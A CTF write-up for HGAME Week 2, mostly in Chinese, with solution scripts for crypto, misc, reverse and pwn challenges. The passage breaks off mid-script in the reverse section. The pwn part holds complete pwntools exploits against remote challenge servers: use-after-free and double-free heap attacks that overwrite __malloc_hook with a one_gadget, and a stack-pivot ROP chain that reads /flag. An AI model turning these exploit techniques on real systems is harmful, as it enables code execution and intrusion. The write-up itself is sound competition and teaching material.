HGAME Week2 WriteUP

Written by woshiluo.

Crypto

babyRSA

一般来说 e 不会太大，考虑枚举质数，很快就能求得 e。

注意到 e 和 $\varphi(n)$ 不互质，故逆元不存在。

注意到 $\varphi(q)$ 和 e 互质。

故可求得 $m' = c^d \equiv m \pmod q$

而 m 显然为 $m' + kq$，枚举即可。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

from Crypto.Util.number import *
import gmpy2

e=73561
p=14213355454944773291
q=6184356205162070038634855117537193048606497844115920076561833974376400103329 7
c=1050021387224669464959366386560382140000434757516390250852551139650887492724 6 \
19068925866162502649223481924965979864527862811511564362295740651939654228 41
gift=9751789326354522940

# n=e
# while True:
#     if n == 1:
#         n = 2
#     else:
#         n = gmpy2.next_prime(n)
#
#     if pow(n+114514, 0x10001, p) == gift:
#         print(n)
#         break
#
#     print( str(n) + "Failed" )
# e = e + p + p
c %= q
if pow( e + 114514, 0x10001, p ) == gift:
    print("ok")
n=p**4*q
phi = ( p**4 - p**3 ) * ( q - 1 )
d = gmpy2.invert( e, q - 1 )
res=pow(c,d,q)
while True:
```

```
    print(long_to_bytes(res))
    res += q
```

backpack

折半搜索

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

"""

"""
from Crypto.Util.number import *
import random
import hashlib
a=[747630795102616991263455259 79, 5172504947006895081047848 7507,
 ↪  4719030926951460900504533 0671, 6495598964065013981834821 4927,
 ↪  6855993723862362361911406 5917, 7231133917011218540149686 7001,
 ↪  7081733606425478164027335 4039, 7053810882653978577436160 5309,
 ↪  4378253094248186562129338 1023, 5823432818657803629105706 6237,
 ↪  6880827126547885857012691 6949, 6166020047093815383604548 3887,
 ↪  6327072698185154462035923 1307, 4290477648669769169663992 9229,
 ↪  4154563720178753163742760 3339, 7401283905564989139717287 0891,
 ↪  5694379479564126067495367 6827, 5173739190218775918807868 7453,
 ↪  4926436899956165998618288 3907, 6004422123738710405459786 1973,
 ↪  6384704635026052076104368 7817, 6212814669958218077901398 3561,
 ↪  6510931342321285264793029 9981, 6682563586983173109268403 9351,
 ↪  6776326514779127208378075 2327, 6116784408399917966970260 1647,
 ↪  5511601592786875685900796 1943, 5234448851805567208228037 7551,
 ↪  5237587789194231232003180 3919, 6965903594156411929164040 4791,
 ↪  5256328208517864676781438 2889, 5681062731228642049410919 2029,
 ↪  4975587779900688906388256 6549, 4385890167245175675447484 5193,
 ↪  6792374361515498329114562 4523, 5168945551472854742399516 2637,
 ↪  6748013115170715567252758 3321, 5939621224833058007218464 8071,
 ↪  6341052887522048979947524 9207, 4801140928855088022928057 8149,
 ↪  6256196926039113295681828 5937, 4482615866428377941033061 5971,
 ↪  7044621875997623994775116 2051, 5650984737983660003350194 2537,
 ↪  5015428797117983135506844 3153, 4906050711609586117497146 7149,
 ↪  5423684829429962463216052 1071, 6418662642897497610846719 6869]
bag=120254819682601389900652731 4947

# list={}
# for mask in range(1 << 24):
#     sum=0
#     for j in range(24):
#         if mask & ( 1 << j ) != 0:
#             sum += a[j]
#
#     if bag >= sum:
#         list[ bag - sum ] = 1;
```

```
#     if mask % ( 1 << 20 ) == 0:
#         print(mask)
#
# for mask in range(1 << 24):
#     sum=0
#     for j in range(24):
#         if mask & ( 1 << j ) != 0:
#             sum += a[j + 24]
#
#     if sum in list:
#         print(mask)
#         break
#     if mask % ( 1 << 20 ) == 0:
#         print(mask)
# mask=16002385
# sum=0
# for j in range(24):
#     if mask & ( 1 << j ) != 0:
#         sum += a[j+24]
#
# print(bag-sum)

#less=5129959939533541347652735837 39
#for mask in range(1 << 24):
#    sum=0
#    for j in range(24):
#        if mask & ( 1 << j ) != 0:
#            sum += a[j]
#
#    if less == sum:
#        print(mask)
#

mask1=5009697
mask2=16002385
mask=mask2<<24|mask1
flag='hgame{'+hashlib.sha256(str(mask).encode()).hexdigest()+'}'
print(flag)
```

midRSA

m 高位已知。

```
def phase2(high_m, n, c):
    R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    m = high_m + x
    M = m((m^e - c).small_roots()[0])
    print(hex(int(M))[2:])

high_m = m0

phase2(high_m, n, c)
```

奇怪的图片 plus

题目要求，两张图加密，经过缩放后只在指定点位为不同。

注意到比较时用的是 ECB 加密，故每一块的加密结果是独立的。

那么就可以构造在指定部位相同的两张图片。

```python
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

"""

"""
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random

def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack('BBB', *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

# 16*9
def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
```

```
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image

width=16*16
height=9
p=Image.open('./target.png')
p=image_to_bytes(p)


res=[]
for i in range(len(p)):
    for j in range(16):
     res += p[i].to_bytes()

img1=bytes_to_image(res,width,height)
img1.save('1.png')

q=0
res=[]
for i in range(len(p)):
    for j in range(16):
     res += q.to_bytes()

img2=bytes_to_image(res,width,height)
img2.save('2.png')

image_1=image_to_bytes(img1)
image_2=image_to_bytes(img2)
image_1_w=width
image_1_h=height
image_2_w=width
image_2_h=height

F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)
image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w,
 ↪  image_1_h)
image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w,
 ↪  image_2_h)
xor_image = xor_images(image_1_encrypted, image_2_encrypted)
xor_image = xor_image.resize((16, 9), Image.NEAREST)
xor_image.show()
```

然后 client 端的加密是 CBC，除了 key 我们还需要 iv。

直接套用给定的 encrypted_flag.png 得到 iv，解密即可。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

"""
```

```
"""
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack('BBB', *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

img=image_to_bytes(Image.open('./encrypted_flag.png'))

print(os.urandom(16))
# for i in range(65536):
key = 0x8693346e81fa05d8817fd2550455cdf6
iv = AES.new(key=key.to_bytes(16), mode=AES.MODE_ECB).decrypt(img[:16])
F = AES.new(key=key.to_bytes(16), mode=AES.MODE_OFB, iv=iv)
c = F.decrypt(img)

p=bytes_to_image(c,200,150)
pixels = p.load()
p.save('4.png')
for x in range(200):
    for y in range(150):
        if pixels[x, y] != (0,0,0):
            pixels[x, y] = (255,255,255)

p.save('3.png')
```

Misc

我要成为华容道高手

注意到 js 没有怎么混淆。

随便拖段代码到搜索引擎，找到 https://github.com/conwnet/huarongdao。

注意到src/core.js，给定了 getSolve 函数。

直接调用即可。

```
#! /bin/sh
#
# tmp.sh
# Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.
#


while true; do
    data=`curl 'http://47.100.137.175:31777/api/newgame' -H 'User-Agent: Mozilla/5.0
     ↪  (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept: */*' -H
     ↪  'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H
     ↪  'Referer: http://47.100.137.175:30431/' -H 'DNT: 1' -H 'Connection: keep-alive'
     ↪  -H 'Cookie: PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77'`
    x=`echo $data | jq .gameId`
    layout=`echo $data | jq .layout`
    layout=`echo $layout | cut -d\" -f2`


    echo $x
    echo $layout

    ans=`node core.js $layout`
    echo $ans > tmp

    data=`curl "http://47.100.137.175:31777/api/submit/${x}" -X POST -H 'User-Agent:
     ↪  Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H
     ↪  'Accept: */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding:
     ↪  gzip, deflate' -H 'Referer: http://47.100.137.175:30431/' -H 'Content-Type:
     ↪  application/json' -H 'Origin: http://47.100.137.175:30431' -H 'DNT: 1' -H
     ↪  'Connection: keep-alive' -H 'Cookie: PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77'
     ↪  --data @tmp`

    while true; do
        layout=`echo $data | jq .game_stage.layout`
        layout=`echo $layout | cut -d\" -f2`
        echo $layout
        ans=`node core.js $layout`
        echo $ans > tmp
        data=`curl "http://47.100.137.175:31777/api/submit/${x}" -X POST -H 'User-Agent:
         ↪  Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H
         ↪  'Accept: */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding:
         ↪  gzip, deflate' -H 'Referer: http://47.100.137.175:30431/' -H 'Content-Type:
         ↪  application/json' -H 'Origin: http://47.100.137.175:30431' -H 'DNT: 1' -H
         ↪  'Connection: keep-alive' -H 'Cookie:
         ↪  PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77' --data @tmp`
        echo $data
    done
    break
done
```

ek1ng_want_girlfriend

拖进 wireshark，就一个 http stream。

文件拖下来就有了。

ezWord

直接解压。

两张图片是盲水印。

解压，spam 隐写。

再解密就是一串不明所以的古文状物品。

籗籑籂粆籮粄簹籴籨粂粇籾籨籶簹籵籿籮籨籂籵籫籨籽籗籊籨籶籮籬类籊籽粆

过一遍 iconv 转 gb18030，大概就能看出 flag 了。

直接交。

龙之舞

deepsound 隐写，密码在波形图里。

解出来后拼二维码，扫不出来。

手动爆破一下掩码。

得到 flag。

PWN

Elden Ring

UAF。由于是 tcache，还能随意覆写，基本上是任意写了。

先干进 unsorted bin 得到 libc，然后写 malloc_hook。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

"""

"""

from pwn import *
# from ctypes import *

# so = CDLL("./libc.so.6")
vuln = ELF('./vuln')
libc = ELF('./libc.so.6')
# puts_plt = vuln.plt['puts']
#  main_symbol = vuln.symbols['main']
libc_start_main_got = vuln.got['setbuf']
# libc_base = 0
# format_addr = libc_base + next(libc.search(b"--%s: %s"))
```

```python
context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
 ↪  'debug')

INDEX  = b"Index: "
SIZE  = b"Size:"
CONTENT = b"Content:"

def add_note(r, index, size):
    r.recvuntil(b">")
    r.sendline(b"1")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))

def delete_note(r, index):
    r.recvuntil(b">")
    r.sendline(b"2")
    r.sendlineafter(INDEX, str(index))

def edit_note(r, index, payload):
    r.recvuntil(b">")
    r.sendline(b"3")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(b">")
    r.sendline(b"4")
    r.sendlineafter(INDEX, str(index))


r = remote("106.14.57.14", 32562)
# r = process( "./vuln_patched" )
add_note(r, 0, 0x90)
add_note(r, 1, 0x10)
for i in range(2,9):
    add_note(r, i, 0x90)
for i in range(2,9):
    delete_note(r, i)
delete_note(r, 0)
# delete_note(r, 8)
# 1 -> 0 -> null
# edit_note(r, 1, p64(libc_start_main_got))
# pwnlib.gdb.attach(proc.pidof(r)[0])
show_note(r,0)
# r.recvuntil(b":")
main_area_addr = u64(r.recvuntil("Here")[0:6].ljust(8, b'\x00'))
malloc_hook_addr = main_area_addr + ( 0x7c07d4d8cb70 - 0x7c07d4d8cbe0 )
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
system_addr = libc.symbols['system'] + libc_base
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("[*] malloc_hook_addr: ", hex(malloc_hook_addr))
print("[*] libc_base: ", hex(libc_base))
```

```
print("[*] write func to 0x404200")
edit_note(r, 8, p64(0x404200))
add_note(r, 9, 0x90)
add_note(r, 10, 0x90)
edit_note(r, 10, p64(system_addr))

one = 0xe3b01 + libc_base;
print("[*] change mallok_hook")
delete_note( r, 0 )
edit_note( r, 0, p64(malloc_hook_addr) )
add_note(r, 11, 0x90 )
add_note(r, 12, 0x90 )
show_note( r, 0 )
edit_note(r, 12, p64(one))
# pwnlib.gdb.attach(proc.pidof(r)[0])
add_note( r, 13, 0x40 )

r.interactive()
```

ShellcodeMaster

注意到 mmap 的地址被保护了，但是 bss 后面还有一大片的地方任我乱写。

先把栈迁移到 0x404500，考虑 ret2libc。注意到实在是没啥 gadget，可以在 shellcode 里写点。

然后 leak 几个函数就能找到 libc 版本了。剩下的就是 ret2libc 的事情。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.
hellcodeMaster
from pwn import *

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
 ↪  'debug')


# r = process('./vuln')
r = remote('106.14.57.14', 31202)
vuln = ELF('./vuln')
libc = ELF('./libc.so.6')

puts_got = 0x404018

# shellcode = 'mov esp, 0x404018\n'
# shellcode += 'mov eax, 1\n'
# shellcode += 'mov edi, eax\n'
# shellcode += 'mov esi, esp\n'
# shellcode += 'syscall\n'
# shellcode += 'dec edi\n'
# shellcode += 'mov eax, edi\n'
# shellcode += 'syscall\n'
# shellcode += 'ret\n'
```

```
shellcode = 'mov esp, 0x404500\n'
shellcode += 'xor rax, rax\n'
shellcode += 'mov edi, eax\n'
shellcode += 'mov esi, esp\n'
shellcode += 'syscall\nret\n'
shellcode += 'jmp [rax]\npop rax\npop rdi\npop rsi\npop rdx\nret'
payload1 = asm(shellcode)

print(shellcode)
print(len(payload1))

r.send(payload1)
# pause()
# shellcode = ''
# shellcode += shellcraft.open('/flag')
# shellcode += shellcraft.read('rax','rsp',0x100)
# shellcode += shellcraft.write(1,'rsp',0x100)
# payload2 = asm(shellcode)
# r.send(payload2)
r.recvuntil("Love!\n")
pop_xxx=0x2333011
jmp_rax=0x233300f
load = 0x404500 + 96
payload = p64(pop_xxx) + p64(puts_got) + p64(puts_got) + p64(0) + p64(0) + p64(jmp_rax)
payload += p64(pop_xxx) + p64(vuln.got['read']) + p64(0) + p64(load) + p64(0x1000) +
 ↪  p64(jmp_rax)
r.send(payload)
puts_addr = u64(r.recv()[0:6].ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
open_addr = libc_base + libc.symbols['open']
print("[*] libc_base: ", hex(libc_base))
# pwnlib.gdb.attach(proc.pidof(r)[0])
# pause()
payload = p64(pop_xxx) + p64(0) + p64(load+144) + p64(0) + p64(0) + p64(open_addr)
payload += p64(pop_xxx) + p64(0) + p64(3) + p64(0x404700) + p64(0x100) + p64(read_addr)
payload += p64(pop_xxx) + p64(0) + p64(1) + p64(0x404700) + p64(0x100) + p64(write_addr)
# print(len(payload))
payload += b"/flag\x00\x00\x00"
r.send(payload)

r.interactive()
```

fastnote

UAF 是比较显然的。考虑先干到 fastbin，然后 cycle 一下，然后就可以任意写了。

tcache 没啥检查，直接覆写 mallok_hook 就行。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
```

```
# Distributed under terms of the GNU AGPLv3+ license.

"""

"""

from pwn import *
# from ctypes import *

# so = CDLL("./libc.so.6")
vuln = ELF('./vuln')
libc = ELF('./libc-2.31.so')
# puts_plt = vuln.plt['puts']
#  main_symbol = vuln.symbols['main']
libc_start_main_got = vuln.got['setbuf']
# libc_base = 0
# format_addr = libc_base + next(libc.search(b"--%s: %s"))

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
 ↪  'debug')

INDEX  = b"Index: "
SIZE  = b"Size: "
CONTENT = b"Content: "
CHOICE = b"choice:"

def add_note(r, index, size, payload):
    r.recvuntil(CHOICE)
    r.sendline(b"1")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"2")
    r.sendlineafter(INDEX, str(index))

def delete_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"3")
    r.sendlineafter(INDEX, str(index))

# def edit_note(r, index, payload):
#     r.recvuntil(b">")
#     r.sendline(b"3")
#     r.sendlineafter(INDEX, str(index))
#     r.sendlineafter(CONTENT, payload)


# r=process('./vuln')
r=remote('106.14.57.14', 30165)

max_len = 0x80
```

```
add_note( r, 0, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
show_note( r, 0 )

main_area_addr = u64(r.recvuntil("Add")[0:6].ljust( 8, b'\x00' ))
malloc_hook_addr = main_area_addr + ( 0x7c07d4d8cb70 - 0x7c07d4d8cbe0 )
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
one_gadget=libc_base+0xe3b01
log.success( "libc_base: " + hex(libc_base) )

max_len = 0x60

add_note( r, 0, max_len, p64(0) )
add_note( r, 9, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
delete_note( r, 9 )
delete_note( r, 0 )
delete_note( r, 9 )
# add_note(r, 2, max_len, p64(0))
# delete_note( r, 0 )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
add_note(r, 2, max_len, p64(malloc_hook_addr))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
show_note( r, 0 )
#pwnlib.gdb.attach(proc.pidof(r)[0])
# add_note(r, 1, 0x30, p64(one_gadget))

r.interactive()
```

fastnote_old

和 fastnote 源码一模一样。

但是 libc 版本比较老，没有 tcache 了。

fake_chunk 覆写 malloc_hook

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.
```

```
"""

"""

from pwn import *
# from ctypes import *

# so = CDLL("./libc.so.6")
vuln = ELF('./vuln')
libc = ELF('./libc-2.23.so')
# puts_plt = vuln.plt['puts']
#  main_symbol = vuln.symbols['main']
libc_start_main_got = vuln.got['setbuf']
# libc_base = 0
# format_addr = libc_base + next(libc.search(b"--%s: %s"))

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
 ↪  'debug')

INDEX  = b"Index: "
SIZE  = b"Size: "
CONTENT = b"Content: "
CHOICE = b"choice:"

def add_note(r, index, size, payload):
    r.recvuntil(CHOICE)
    r.sendline(b"1")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"2")
    r.sendlineafter(INDEX, str(index))

def delete_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"3")
    r.sendlineafter(INDEX, str(index))

# def edit_note(r, index, payload):
#     r.recvuntil(b">")
#     r.sendline(b"3")
#     r.sendlineafter(INDEX, str(index))
#     r.sendlineafter(CONTENT, payload)


# r=process('./vuln')
r=remote('106.14.57.14', 30082)

max_len = 0x80
add_note( r, 0, max_len, p64(0) )
```

```
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
show_note( r, 0 )

main_area_addr = u64(r.recvuntil("Add")[0:6].ljust( 8, b'\x00' ))
malloc_hook_addr = main_area_addr - ( 0x7911395c4b78 - 0x7911395c4b10 )
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
one_gadget=libc_base+0xf1247
log.success( "libc_base: " + hex(libc_base) )

max_len = 0x60
fake_chunk = 0x3c4aed + libc_base

add_note( r, 0, max_len, p64(0) )
add_note( r, 9, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
delete_note( r, 9 )
delete_note( r, 0 )
delete_note( r, 9 )
add_note(r, 2, max_len, p64(fake_chunk))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, b'A' * 0x13 + p64(one_gadget))
show_note( r, 0 )
# pwnlib.gdb.attach(proc.pidof(r)[0])
# add_note(r, 2, max_len, p64(0))
# delete_note( r, 0 )
# for i in range(2,9):
#     add_note(r, i, max_len, p64(0))
# add_note(r, 2, max_len, p64(malloc_hook_addr))
# add_note(r, 0, max_len, p64(one_gadget))
# add_note(r, 0, max_len, p64(one_gadget))
# add_note(r, 0, max_len, p64(one_gadget))
# show_note( r, 0 )
# pwnlib.gdb.attach(proc.pidof(r)[0])
#  add_note(r, 1, 0x30, p64(one_gad0x4527a
r.interactive()
```

Reverse

arithmetic

观察发现题目会随机一条路径求和，告诉你到如果和大于等于某一常数就是对的

那这显然是最大值了。

没有什么难度的动态规划。

```cpp
#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>

#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

const int N = 512;
const int TARGET = 6752833;

int a[N][N];

int f[N][N], la[N][N];

int path[N];

void print( int i, int j ) {
    if( i == 1 )
        return ;
    print( i - 1, la[i][j] );
//  printf( "%d, %d\n", i, j );
    if( la[i][j] == j ) {
        printf( "1" );
        path[ i - 1 ] = 1;
    }
    else {
        printf( "2" );
        path[ i - 1 ] = 2;
    }
}

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    freopen( "out2", "r", stdin );

    ci32 n = 500;
    for( int i = 1; i <= n; i ++ ) {
        for( int j = 1; j <= i; j ++ ) {
            a[i][j] = read<i32>();
        }
```

```
    }

    f[1][1] = a[1][1];
    for( int i = 2; i <= n; i ++ ) {
        for( int j = 1; j <= i; j ++ ) {
            f[i][j] = f[ i - 1 ][j] + a[i][j];
            la[i][j] = j;
            if( j - 1 > 0 && f[ i - 1 ][ j - 1 ] + a[i][j] >= f[i][j] )  {
                f[i][j] = f[ i - 1 ][ j - 1 ] + a[i][j];
                la[i][j] = j - 1;
            }
        }
    }
    for( int j = 1; j <= n; j ++ ) {
        if( f[n][j] >= TARGET )
            print( n, j );
    }

    path[500] = 1;
    FILE* p = fopen("tmp", "w");
    fwrite( path + 1, sizeof(int), 500, p);
    fclose(p);
}
```

babyre

一扔进 IDA 就是一车互斥锁。

注意到 handle 了 SIGFPE。

分析后发现就是四个线程轮流来，然后 SIGFPE 被周期性除法。

```
unsigned char ida_chars[] =
{
  0x14, 0x2F, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0xF3, 0x4F,
  0x00, 0x00, 0x6D, 0x00, 0x00, 0x00, 0xD8, 0x32, 0x00, 0x00,
  0x6D, 0x00, 0x00, 0x00, 0x4B, 0x6B, 0x00, 0x00, 0x92, 0xFF,
  0xFF, 0xFF, 0x4F, 0x26, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00,
  0xFB, 0x52, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0x71, 0x2B,
  0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x6F, 0x2A, 0x00, 0x00,
  0x95, 0xFF, 0xFF, 0xFF, 0xFA, 0x28, 0x00, 0x00, 0x1D, 0x00,
  0x00, 0x00, 0x89, 0x29, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
  0xB4, 0x28, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x06, 0x45,
  0x00, 0x00, 0xDA, 0xFF, 0xFF, 0xFF, 0x7B, 0x17, 0x00, 0x00,
  0xFC, 0xFF, 0xFF, 0xFF, 0xCE, 0x40, 0x00, 0x00, 0x7D, 0x00,
  0x00, 0x00, 0xE3, 0x29, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
  0x11, 0x1F, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0x00,
  0x00, 0x00
};

char str[] = "feifei";

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
```

```
#endif

     int *p = ( int*)ida_chars;

     p[32] = 250;
    for( int i = 0; i < 6; i ++ )
        str[i] ^= 0x11;
//  p[31] = '}';

//  printf( "%d\n", str[0] );
    for( int i = 31; i >= 0; i -- ) {
        if( i % 4 == 0 ) {
            p[i] -= p[ i + 1 ] * str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 1 ) {
            p[i] += p[ i + 1 ] ^ str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 2 ) {
            p[i] /= p[ i + 1 ] + str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 3 ) {
            p[i] ^= p[ i + 1 ] - str[ ( i + 1 ) % 6 ];
        }
        if( i % 3 == 2 ) {
            for( int j = 0; j < 6; j ++ )
                str[j] ^= 0x11;
        }
    }
    for( int i = 0; i <= 31; i ++ )
        printf( "%c", p[i] );
}
```

babyAndroid

先逆 java 层，拿到 username。

```
const char key[] = "3e1fel";
char enc[] = {-75, 80, 80, 48, -88, 75, 103, 45, -91, 89, -60, 91, -54, 5, 6, -72};
// who fucking know about this?
char box[256];

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    for( int i = 0; i < 256; i ++ ) {
        box[i] = i;
    }
    i32 p = 0;
    for( int i = 0; i < 256; i ++ ) {
        p = ( p + box[i] + key[ i % 6 ] ) & 255;
        std::swap( box[i], box[p] );
    }
```

```
    int p1 = 0, p2 = 0;
    for( int i = 0; i < sizeof(enc); i ++ ) {
        p1 += 1;
        p2 = ( p2 + box[p1] ) & 255;
        std::swap( box[p1], box[p2] );
        enc[i] ^= ( box[ ( box[p1] + box[p2] ) & 255 ] );
    }
    for( int i = 0; i < sizeof(enc); i ++ )
        printf( "%c", enc[i] );

}
```

然后 check2 显然在 native 层里，拖进 IDA 看全局变量发现有 sbox。

应该是 AES。

扔进 cyberchef，AES 解密，用户名当密钥，得到 flag。

ezcpp

很显然的 TEA like。

```
unsigned char a[] =
{
    0x88, 0x6A, 0xB0, 0xC9, 0xAD, 0xF1, 0x33, 0x33, 0x94, 0x74,
    0xB5, 0x69, 0x73, 0x5F, 0x30, 0x62, 0x4A, 0x33, 0x63, 0x54,
    0x5F, 0x30, 0x72, 0x31, 0x65, 0x6E, 0x54, 0x65, 0x44, 0x3F,
    0x21, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

const int salt = 559038737;
const int key2 = 1234;
const int key1 = 2341;
const int key4 = 3412;
const int key3 = 4123;

void de( int &x3, int &y3 ) {
    int sum = 0;
    for( int i = 0; i < 32; i ++ )
        sum -= salt;
    for( int i = 0; i < 32; i ++ ) {
        y3 -= (sum + x3) ^ (key3 + 32 * x3) ^ (key4 + 16 * x3);
        x3 -= (sum + y3) ^ (key1 + 32 * y3) ^ (key2 + 16 * y3);
        sum += salt;
    }
}

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    {
        int *x = (int*)(a + 3);
        int *y = (int*)(a + 7);
        de( *x, *y );
```

```
    }
    {
        int *x = (int*)(a + 2);
        int *y = (int*)(a + 6);
        de( *x, *y );
    }
    {
        int *x = (int*)(a + 1);
